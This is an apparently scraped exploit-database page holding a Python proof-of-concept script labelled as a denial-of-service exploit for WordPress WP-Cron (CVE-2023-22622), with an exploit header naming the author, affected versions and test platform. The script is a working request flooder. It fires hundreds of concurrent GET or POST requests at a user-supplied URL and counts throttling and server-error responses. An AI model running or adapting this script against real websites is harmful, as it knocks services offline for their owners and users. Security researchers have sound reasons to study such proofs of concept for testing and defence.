4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-22622_POC.py PY
# Exploit Title: DoS WP-Cron - CVE-2023-22622
# Date: 07/29/2024
# Exploit Author: Michael Fry
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/download/
# Version: Up to (including) 6.6.1
# Tested on: Kali Linux
# CVE : CVE-2023-22622

import argparse
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
import time

# Global variables
request_counter = 0
printed_msgs = []
lock = threading.Lock()

def print_msg(msg):
    """Print message once."""
    with lock:
        if msg not in printed_msgs:
            print(f"\n{msg} after {request_counter} requests")
            printed_msgs.append(msg)

def handle_status_codes(status_code):
    """Handle HTTP status codes."""
    global request_counter
    with lock:
        request_counter += 1
    print(f"\r{request_counter} requests have been sent", end="")

    if status_code == 429:
        print_msg("You have been throttled")
    elif status_code == 500:
        print_msg("Status code 500 received")

def send_request(method, url, payload=None):
    """Send HTTP request and handle response."""
    try:
        if method == "GET":
            response = requests.get(url)
        elif method == "POST":
            response = requests.post(url, data=payload)
        else:
            print("Invalid method specified.")
            return
        handle_status_codes(response.status_code)
    except Exception as e:
        print(f"\nAn error occurred: {e}")

def main():
    parser = argparse.ArgumentParser(description="HTTP Requester")
    parser.add_argument("-m", "--method", choices=['GET', 'POST'], required=True, help="Specify request method")
    parser.add_argument("-u", "--url", required=True, help="Specify the URL")
    parser.add_argument("-d", "--data", default=None, help="Data payload for POST request")
    parser.add_argument("-t", "--threads", type=int, default=500, help="Number of threads to be used")
    args = parser.parse_args()

    start_time = time.time()

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        for _ in range(args.threads):
            executor.submit(send_request, args.method, args.url, args.data)

    print(f"\nFinished sending requests. Total time: {time.time() - start_time:.2f} seconds")

if __name__ == "__main__":
    main()